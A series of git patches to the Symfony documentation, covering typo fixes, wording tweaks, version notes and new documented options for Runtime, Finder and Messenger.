 1 file changed, 4 deletions(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 216c666970d..aff9a735897 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -178,10 +178,6 @@ doesn't support returning arrays, so you need to use the following code::
     $request->query->all()['foo']['bar'];
     // returns 'baz'
 
-.. deprecated:: 5.1
-
-    The array support in ``get()`` method was deprecated in Symfony 5.1.
-
 .. _component-foundation-attributes:
 
 Thanks to the public ``attributes`` property, you can store additional data

From 7653381a043ca66f9190c461cf70a28c2f836f26 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 25 Sep 2021 16:13:20 +0200
Subject: [PATCH 2532/7107] Adding missing link target

And changing recommendation for html5; see https://github.com/symfony/symfony/issues/41855
---
 reference/constraints/Email.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index b2a978d4af5..2835b9f2317 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,7 +135,7 @@ address. Valid values are:
 
 * ``loose``, it uses a simple regular expression to validate the address (it
   checks that at least one ``@`` character is present, etc.). This validation is
-  too simple and it's recommended to use the ``html5`` validation instead;
+  very simple and it's recommended to use one of the other methods instead;
 * ``html5``, it validates email addresses using the same regular expression
   as the `HTML5 email input element`_, making the backend validation consistent
   with the one provided by browsers;
@@ -152,3 +152,4 @@ configuration option.
 
 .. _egulias/email-validator: https://packagist.org/packages/egulias/email-validator
 .. _HTML5 email input element: https://www.w3.org/TR/html5/sec-forms.html#valid-e-mail-address
+.. _RFC 5322: https://tools.ietf.org/html/rfc5322

From 585e2a97ed6bfdbc6b2e2bf0b7229c6524ad061f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 25 Sep 2021 16:15:38 +0200
Subject: [PATCH 2533/7107] Formatting

Are backticks allowed here?
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 43d9122328c..e5a9e376b55 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2718,7 +2718,7 @@ email_validation_mode
 **type**: ``string`` **default**: ``loose``
 
 Sets the default value for the
-:ref:`mode option of the Email validator <reference-constraint-email-mode>`.
+:ref:``mode` option of the Email validator <reference-constraint-email-mode>`.
 
 .. _reference-validation-mapping:
 

From 9dbf032a0220d9cf4c1d379ce258140b53339512 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 25 Sep 2021 18:05:42 +0200
Subject: [PATCH 2534/7107] Tweak

---
 reference/constraints/Email.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 2835b9f2317..771c9bcff64 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,7 +135,7 @@ address. Valid values are:
 
 * ``loose``, it uses a simple regular expression to validate the address (it
   checks that at least one ``@`` character is present, etc.). This validation is
-  very simple and it's recommended to use one of the other methods instead;
+  too simple and it's recommended to use one of the other modes instead;
 * ``html5``, it validates email addresses using the same regular expression
   as the `HTML5 email input element`_, making the backend validation consistent
   with the one provided by browsers;

From c2459b0eddc71b23b118596a2295e8f37b506623 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 25 Sep 2021 18:08:26 +0200
Subject: [PATCH 2535/7107] Tweak

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e5a9e376b55..ee1a4bf0cec 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2718,7 +2718,7 @@ email_validation_mode
 **type**: ``string`` **default**: ``loose``
 
 Sets the default value for the
-:ref:``mode` option of the Email validator <reference-constraint-email-mode>`.
+:ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
 
 .. _reference-validation-mapping:
 

From d81962431d36669899480cf6e12e23e15327ddb3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com>
Date: Mon, 27 Sep 2021 15:05:27 +0200
Subject: [PATCH 2536/7107] [Runtime] Possibility to define the env and/or
 debug key

---
 components/runtime.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/components/runtime.rst b/components/runtime.rst
index e716ec6eb38..bc1d891915c 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -351,6 +351,14 @@ these options:
     knows how to deal with each of them.
 ``error_handler`` (default: :class:`Symfony\\Component\\Runtime\\Internal\\BasicErrorHandler` or :class:`Symfony\\Component\\Runtime\\Internal\\SymfonyErrorHandler` for ``SymfonyRuntime``)
     Defines the class to use to handle PHP errors.
+``env_var_name`` (default: ``"APP_ENV"``)
+    To define the name of the env var for the Symfony env.
+``debug_var_name`` (default: ``"APP_DEBUG"``)
+    To define the name of the debug var for the debug flag.
+
+.. versionadded:: 5.4
+
+    The ``env_var_name`` and ``debug_var_name`` options was introduced in Symfony 5.4.
 
 Create Your Own Runtime
 -----------------------

From 412fac92648172a4216173f47019031892a32afd Mon Sep 17 00:00:00 2001
From: Julien Falque <julien.falque@gmail.com>
Date: Tue, 28 Sep 2021 19:13:01 +0200
Subject: [PATCH 2537/7107] [Finder] Document recursive .gitignore files
 support

---
 components/finder.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 84be8b1ac74..eac3e20d8da 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -141,13 +141,17 @@ default when looking for files and directories, but you can change this with the
 
     $finder->ignoreVCS(false);
 
-If the search directory contains a ``.gitignore`` file, you can reuse those
-rules to exclude files and directories from the results with the
+If the search directory and its subdirectories contain ``.gitignore`` files, you
+can reuse those rules to exclude files and directories from the results with the
 :method:`Symfony\\Component\\Finder\\Finder::ignoreVCSIgnored` method::
 
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
+.. versionadded:: 5.4
+
+    ``.gitignore`` files recursive support was introduced in Symfony 5.4.
+
 File Name
 ~~~~~~~~~
 

From 084dec6cdf4744b4f3ad3b70035fc3ab2c07a556 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 28 Sep 2021 23:42:31 +0200
Subject: [PATCH 2538/7107] Deleting incomplete components page

@wouterj You told me at https://github.com/symfony/symfony-docs/issues/14194#issuecomment-688517978 that this list is going to be merged into https://symfony.com/components , so this here is obsolete, right?
Should I double-check for every component and add them to the other list if needed?
---
 components/index.rst | 16 ----------------
 1 file changed, 16 deletions(-)
 delete mode 100644 components/index.rst

diff --git a/components/index.rst b/components/index.rst
deleted file mode 100644
index bf28bf3b5d8..00000000000
--- a/components/index.rst
+++ /dev/null
@@ -1,16 +0,0 @@
-The Components
-==============
-
-.. seealso::
-
-    See the dedicated `Symfony Components`_ webpage for a full overview of decoupled
-    and reusable Symfony components.
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    using_components
-    *
-
-.. _`Symfony Components`: https://symfony.com/components

From 6ffd199d12763b837036e77fdaf5ece3518eef8e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 29 Sep 2021 01:38:28 +0200
Subject: [PATCH 2539/7107] Documenting the __root__ section

Finally closes the (already closed) https://github.com/symfony/symfony-docs/issues/13987

The info is taken from @stof at https://github.com/symfony/symfony/issues/37630#issuecomment-661969184
---
 performance.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/performance.rst b/performance.rst
index 0e980a2550d..1d786972988 100644
--- a/performance.rst
+++ b/performance.rst
@@ -327,6 +327,15 @@ Sections are a way to split the profile timeline into groups. Example::
     $this->stopwatch->start('processing-file');
     $this->stopwatch->stopSection('parsing');
 
+All events that don't belong to any named section are added to the special section
+``__root__``. This way you can get all stopwatch events, even if you don't know
+their names::
+
+    foreach($this->stopwatch->getSectionEvents('__root__') as $event) {
+        echo (string) $event;
+    }
+
+
 Learn more
 ----------
 

From 213d725c01f21cf8bb4816fee91860b6a6809a1a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Sep 2021 08:27:58 +0200
Subject: [PATCH 2540/7107] [Console] Revert RGB notation in console coloring

---
 console/coloring.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 25bfc76298b..9df90251895 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -58,10 +58,6 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
     Support for bright colors was introduced in Symfony 5.3.
 
-.. versionadded:: 5.4
-
-    Support for RGB functional notation was introduced in Symfony 5.4.
-
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.
@@ -81,9 +77,6 @@ You can also set these colors and options directly inside the tag name::
     // using hexadecimal colors
     $output->writeln('<fg=#c0392b>foo</>');
 
-    // using RGB colors
-    $output->writeln('<fg=rgb(127, 255, 0)>foo</>');
-
     // black text on a cyan background
     $output->writeln('<fg=black;bg=cyan>foo</>');
 

From 91cd3e859812183a194079add235a2fac273e7f4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20ALFAIATE?= <seb33300@hotmail.com>
Date: Wed, 29 Sep 2021 14:41:18 +0700
Subject: [PATCH 2541/7107] Fix double "the"

---
 reference/forms/types/options/attr.rst.inc     | 2 +-
 reference/forms/types/options/row_attr.rst.inc | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/attr.rst.inc b/reference/forms/types/options/attr.rst.inc
index 629902b4fc8..c4bb89d277e 100644
--- a/reference/forms/types/options/attr.rst.inc
+++ b/reference/forms/types/options/attr.rst.inc
@@ -13,5 +13,5 @@ as keys. This can be useful when you need to set a custom class for some widget:
 
 .. seealso::
 
-    Use the ``row_attr`` option if you want to add these attributes to the
+    Use the ``row_attr`` option if you want to add these attributes to
     the :ref:`form type row <form-rendering-basics>` element.
diff --git a/reference/forms/types/options/row_attr.rst.inc b/reference/forms/types/options/row_attr.rst.inc
index 4cb9775b5e5..aa6a21c5843 100644
--- a/reference/forms/types/options/row_attr.rst.inc
+++ b/reference/forms/types/options/row_attr.rst.inc
@@ -12,7 +12,7 @@ to render the :ref:`form type row <form-rendering-basics>`::
 
 .. seealso::
 
-    Use the ``attr`` option if you want to add these attributes to the
+    Use the ``attr`` option if you want to add these attributes to
     the :ref:`form type widget <form-rendering-basics>` element.
 
 .. versionadded:: 4.3

From 054af38355be643cb89e0ebbd2cdd9c4e479529f Mon Sep 17 00:00:00 2001
From: JT Smith <nexxai@gmail.com>
Date: Wed, 29 Sep 2021 11:15:30 -0600
Subject: [PATCH 2542/7107] [docs] typofixes

---
 components/cache/adapters/couchbasebucket_adapter.rst | 4 ++--
 components/serializer.rst                             | 2 +-
 reference/configuration/security.rst                  | 2 +-
 session.rst                                           | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7043a7c3e95..5c221665e62 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,6 +1,6 @@
 .. index::
     single: Cache Pool
-    single: Couchabase Cache
+    single: Couchbase Cache
 
 .. _couchbase-adapter:
 
@@ -60,7 +60,7 @@ helper method allows creating and configuring a `Couchbase Bucket`_ class instan
         'couchbase://localhost'
         // the DSN can include config options (pass them as a query string):
         // 'couchbase://localhost:11210?operationTimeout=10'
-        // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20'
+        // 'couchbase://localhost:11210?operationTimeout=10&configTimeout=20'
     );
 
     // pass an array of DSN strings to register multiple servers with the client
diff --git a/components/serializer.rst b/components/serializer.rst
index 9c8b73a04a1..c941edc98c1 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -996,7 +996,7 @@ Option                  Description                                            D
                         and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
                         then ``serialize($data, 'csv', $options)`` returns
                         ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containg formulas by prepending them    ``false``
+``csv_escape_formulas`` Escapes fields containing formulas by prepending them  ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only   ``true``
                         one line is decoded.
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index c651f6cd2e3..6a812374a06 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -374,7 +374,7 @@ Using the Sodium Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It uses the `Argon2 key derivation function`_. Argon2 support was introduced
-in PHP 7.2 by bundeling the `libsodium`_ extension.
+in PHP 7.2 by bundling the `libsodium`_ extension.
 
 The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
diff --git a/session.rst b/session.rst
index 70e62b62263..cb62454a94e 100644
--- a/session.rst
+++ b/session.rst
@@ -131,7 +131,7 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-The sessions is available througth the Request and the RequestStack.
+The sessions is available through the Request and the RequestStack.
 Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
 :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::

From c06ec569c772b2d12e75d36205332412617485fb Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 29 Sep 2021 22:49:13 +0200
Subject: [PATCH 2543/7107] [Form] Fix comments

---
 form/create_form_type_extension.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 37e46dc9a64..9bb0abc2d8e 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -35,11 +35,11 @@ First, create the form type extension class extending from
     class ImageTypeExtension extends AbstractTypeExtension
     {
         /**
-         * Return the class of the type being extended.
+         * Returns an array of extended types.
          */
         public static function getExtendedTypes(): iterable
         {
-            // return FormType::class to modify (nearly) every field in the system
+            // return [FormType::class] to modify (nearly) every field in the system
             return [FileType::class];
         }
     }
@@ -145,7 +145,7 @@ For example::
     {
         public static function getExtendedTypes(): iterable
         {
-            // return FormType::class to modify (nearly) every field in the system
+            // return [FormType::class] to modify (nearly) every field in the system
             return [FileType::class];
         }
 

From 2cd33bbfc8a6258b04affd4a2b56fcf62424a2a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 11:02:56 +0200
Subject: [PATCH 2544/7107] Minor tweak

---
 components/finder.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/finder.rst b/components/finder.rst
index eac3e20d8da..97ab12473ab 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -150,7 +150,7 @@ can reuse those rules to exclude files and directories from the results with the
 
 .. versionadded:: 5.4
 
-    ``.gitignore`` files recursive support was introduced in Symfony 5.4.
+    Recursive support for ``.gitignore`` files was introduced in Symfony 5.4.
 
 File Name
 ~~~~~~~~~

From 6e67925366e05b0ba5c0503dc5ff3ed7074efd61 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 11:03:48 +0200
Subject: [PATCH 2545/7107] Remove a versionadded directive

---
 components/finder.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 97ab12473ab..3a0fb9eb27c 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -148,10 +148,6 @@ can reuse those rules to exclude files and directories from the results with the
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
-.. versionadded:: 5.4
-
-    Recursive support for ``.gitignore`` files was introduced in Symfony 5.4.
-
 File Name
 ~~~~~~~~~
 

From dd7e74327f60eb311dd56bbb6622fa1141cbe2a1 Mon Sep 17 00:00:00 2001
From: nabbisen <nabbisen@scqr.net>
Date: Mon, 27 Sep 2021 21:24:52 +0900
Subject: [PATCH 2546/7107] unify expression: yarn run encore -> yarn encore

---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 8d26987bdb5..cdb7e58324f 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -268,7 +268,7 @@ and restart Encore:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn run encore dev --watch
+    $ yarn run dev --watch
 
     # if you use the npm package manager
     $ npm run watch

From 33a075a98dddc95b40fc3ee5515881994c1da498 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 11:14:24 +0200
Subject: [PATCH 2547/7107] Minor tweak

---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index cdb7e58324f..d447ade4b29 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -268,7 +268,7 @@ and restart Encore:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn run dev --watch
+    $ yarn encore dev --watch
 
     # if you use the npm package manager
     $ npm run watch

From 934219fa574ee0ca98677e93e956fb15c5b5b4d6 Mon Sep 17 00:00:00 2001
From: David DIVERRES <david@comexpertise.com>
Date: Fri, 1 Oct 2021 01:02:49 +0200
Subject: [PATCH 2548/7107] [Frontend/Encore] Fix code example for ignoring
 Moment.js Locales

@see https://webpack.js.org/plugins/ignore-plugin/#example-of-ignoring-moment-locales
---
 frontend/encore/custom-loaders-plugins.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 31c688ffc75..6e0957a085c 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -56,7 +56,10 @@ to use the `IgnorePlugin`_ (see `moment/moment#2373`_):
       Encore
           // ...
 
-    +     .addPlugin(new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/))
+    +     .addPlugin(new webpack.IgnorePlugin({
+              resourceRegExp: /^\.\/locale$/,
+              contextRegExp: /moment$/,
+          }))
       ;
 
 .. _`handlebars-loader`: https://github.com/pcardune/handlebars-loader

From b9eba948533c359851fc37e27f2605af992fb1fd Mon Sep 17 00:00:00 2001
From: Alex Theobold <44616505+theoboldalex@users.noreply.github.com>
Date: Wed, 29 Sep 2021 20:27:23 +0100
Subject: [PATCH 2549/7107] Grammar fixes in front_controller.rst

---
 create_framework/front_controller.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index e14f9f16d07..61169db0cf1 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -56,9 +56,9 @@ not feel like a good abstraction, does it? We still have the ``send()`` method
 for all pages, our pages do not look like templates and we are still not able
 to test this code properly.
 
-Moreover, adding a new page means that we need to create a new PHP script,
-which name is exposed to the end user via the URL
-(``http://127.0.0.1:4321/bye.php``): there is a direct mapping between the PHP
+Moreover, adding a new page means that we need to create a new PHP script, the name of
+which is exposed to the end user via the URL
+(``http://127.0.0.1:4321/bye.php``). There is a direct mapping between the PHP
 script name and the client URL. This is because the dispatching of the request
 is done by the web server directly. It might be a good idea to move this
 dispatching to our code for better flexibility. This can be achieved by routing
@@ -105,7 +105,7 @@ In the ``front.php`` script, ``$map`` associates URL paths with their
 corresponding PHP script paths.
 
 As a bonus, if the client asks for a path that is not defined in the URL map,
-we return a custom 404 page; you are now in control of your website.
+we return a custom 404 page. You are now in control of your website.
 
 To access a page, you must now use the ``front.php`` script:
 
@@ -133,7 +133,7 @@ its sub-directories (only if needed -- see above tip).
     argument is the URL path you want to simulate.
 
 Now that the web server always accesses the same script (``front.php``) for all
-pages, we can secure the code further by moving all other PHP files outside the
+pages, we can secure the code further by moving all other PHP files outside of the
 web root directory:
 
 .. code-block:: text
@@ -151,7 +151,7 @@ web root directory:
         └── front.php
 
 Now, configure your web server root directory to point to ``web/`` and all
-other files won't be accessible from the client anymore.
+other files will no longer be accessible from the client.
 
 To test your changes in a browser (``http://localhost:4321/hello?name=Fabien``),
 run the :doc:`Symfony Local Web Server </setup/symfony_server>`:
@@ -166,7 +166,7 @@ run the :doc:`Symfony Local Web Server </setup/symfony_server>`:
     various PHP files; the changes are left as an exercise for the reader.
 
 The last thing that is repeated in each page is the call to ``setContent()``.
-We can convert all pages to "templates" by just echoing the content and calling
+We can convert all pages to "templates" by echoing the content and calling
 the ``setContent()`` directly from the front controller script::
 
     // example.com/web/front.php

From 3f7ebcefe4ad6c4526ad112f6b22afa3d83b065e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Fri, 10 Sep 2021 11:32:50 +0200
Subject: [PATCH 2550/7107] [Messenger] document reset_on_message transport
 option

---
 messenger.rst | 63 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 63 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index ae6f8a455b8..bc06ac6f03e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -696,6 +696,69 @@ of the desired grace period in seconds) in order to perform a graceful shutdown:
     [program:x]
     stopwaitsecs=20
 
+
+Stateless Worker
+~~~~~~~~~~~~~~~~
+
+PHP was designed to be stateless: everything is lost after processing an HTTP
+request. When you run your application in an HTTP context, you may not take care
+of services states that may leak services since PHP clean everything after
+sending the response.
+
+Since worker run in a CLI context, you need to be careful about services state.
+You should avoid to put a state in a service to avoid leaking some information
+and/or memory from one message to another message.
+
+Some symfony services leak by nature. For example the monolog fingers crossed
+handler. To avoid such situations, you can configure a transport to
+automatically reset the container between two messages:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    async:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        reset_on_message: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%" reset-on-message="true">
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->resetOnMessage(true)
+            ;
+        };
+
 .. _messenger-retries-failures:
 
 Retries & Failures

From fd38755b37612b786af971003c9628ca7c41732d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 15:13:48 +0200
Subject: [PATCH 2551/7107] Reword

---
 logging.rst   |  2 ++
 messenger.rst | 25 ++++++++++++++-----------
 2 files changed, 16 insertions(+), 11 deletions(-)

diff --git a/logging.rst b/logging.rst
index 9e959eaa08f..70fe873e624 100644
--- a/logging.rst
+++ b/logging.rst
@@ -167,6 +167,8 @@ defined.
     from the two files cannot be merged because the order matters and a merge does
     not allow to control the order.
 
+.. _logging-handler-fingers_crossed:
+
 Handlers that Modify Log Entries
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/messenger.rst b/messenger.rst
index aabc7fa7b98..d6dc3edf35c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -696,22 +696,21 @@ of the desired grace period in seconds) in order to perform a graceful shutdown:
     [program:x]
     stopwaitsecs=20
 
-
 Stateless Worker
 ~~~~~~~~~~~~~~~~
 
-PHP was designed to be stateless: everything is lost after processing an HTTP
-request. When you run your application in an HTTP context, you may not take care
-of services states that may leak services since PHP clean everything after
-sending the response.
+PHP is designed to be stateless, there are no shared resources across different
+requests. In HTTP context PHP cleans everything after sending the response, so
+you can decide to not take care of services that may leak memory.
 
-Since worker run in a CLI context, you need to be careful about services state.
-You should avoid to put a state in a service to avoid leaking some information
-and/or memory from one message to another message.
+On the other hand, workers usually run in long-running CLI processes, which don't
+finish after processing a message. That's why you need to be careful about services
+state to not leak information and/or memory from one message to another message.
 
-Some symfony services leak by nature. For example the monolog fingers crossed
-handler. To avoid such situations, you can configure a transport to
-automatically reset the container between two messages:
+However, certain Symfony services, such as the Monolog
+:ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
+In those cases, use the ``reset_on_message`` transport option to automatically
+reset the service container between two messages:
 
 .. configuration-block::
 
@@ -759,6 +758,10 @@ automatically reset the container between two messages:
             ;
         };
 
+.. versionadded:: 5.4
+
+    The ``reset_on_message`` option was introduced in Symfony 5.4.
+
 .. _messenger-retries-failures:
 
 Retries & Failures

From cfad0cefee8a847f64aec69ceb925b3abe7f0c30 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 15:14:12 +0200
Subject: [PATCH 2552/7107] Remove a versionadded directive

---
 messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 87e9cf2d47a..1d5363ca6aa 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -749,10 +749,6 @@ reset the service container between two messages:
             ;
         };
 
-.. versionadded:: 5.4
-
-    The ``reset_on_message`` option was introduced in Symfony 5.4.
-
 .. _messenger-retries-failures:
 
 Retries & Failures

From d37e49789c33f78a6175815fae80527457c53ea8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 15:41:29 +0200
Subject: [PATCH 2553/7107] Minor tweak

---
 components/runtime.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index bc1d891915c..b382c817c61 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -344,21 +344,26 @@ The following options are supported by the ``SymfonyRuntime``:
 Besides these, the ``GenericRuntime`` and ``SymfonyRuntime`` also support
 these options:
 
-``debug`` (default: ``APP_DEBUG`` environment variable, or ``true``)
-    Toggles displaying errors.
+``debug`` (default: the value of the env var defined by ``debug_var_name`` option
+    (usually, ``APP_DEBUG``), or ``true`` if such env var is not defined)
+    Toggles the :ref:`debug mode <debug-mode>` of Symfony applications (e.g. to
+    display errors)
 ``runtimes``
     Maps "application types" to a ``GenericRuntime`` implementation that
     knows how to deal with each of them.
 ``error_handler`` (default: :class:`Symfony\\Component\\Runtime\\Internal\\BasicErrorHandler` or :class:`Symfony\\Component\\Runtime\\Internal\\SymfonyErrorHandler` for ``SymfonyRuntime``)
     Defines the class to use to handle PHP errors.
 ``env_var_name`` (default: ``"APP_ENV"``)
-    To define the name of the env var for the Symfony env.
+    Defines the name of the env var that stores the name of the
+    :ref:`configuration environment <configuration-environments>`
+    to use when running the application.
 ``debug_var_name`` (default: ``"APP_DEBUG"``)
-    To define the name of the debug var for the debug flag.
+    Defines the name of the env var that stores the value of the
+    :ref:`debug mode <debug-mode>` flag to use when running the application.
 
 .. versionadded:: 5.4
 
-    The ``env_var_name`` and ``debug_var_name`` options was introduced in Symfony 5.4.
+    The ``env_var_name`` and ``debug_var_name`` options were introduced in Symfony 5.4.
 
 Create Your Own Runtime
 -----------------------

From d1f197f547ff181aa22a93b58ec2da60021cf026 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 15:42:03 +0200
Subject: [PATCH 2554/7107] Remove a versionadded directive

---
 components/runtime.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 27f65294c3f..ed57c6e4282 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -357,10 +357,6 @@ these options:
     Defines the name of the env var that stores the value of the
     :ref:`debug mode <debug-mode>` flag to use when running the application.
 
-.. versionadded:: 5.4
-
-    The ``env_var_name`` and ``debug_var_name`` options were introduced in Symfony 5.4.
-
 Create Your Own Runtime
 -----------------------
 

From 0d8809120ea005df9c645c466c9f8c4e85c3538b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 16:45:37 +0200
Subject: [PATCH 2555/7107] Add the missing redirections

---
 _build/redirection_map | 2 ++
 1 file changed, 2 insertions(+)

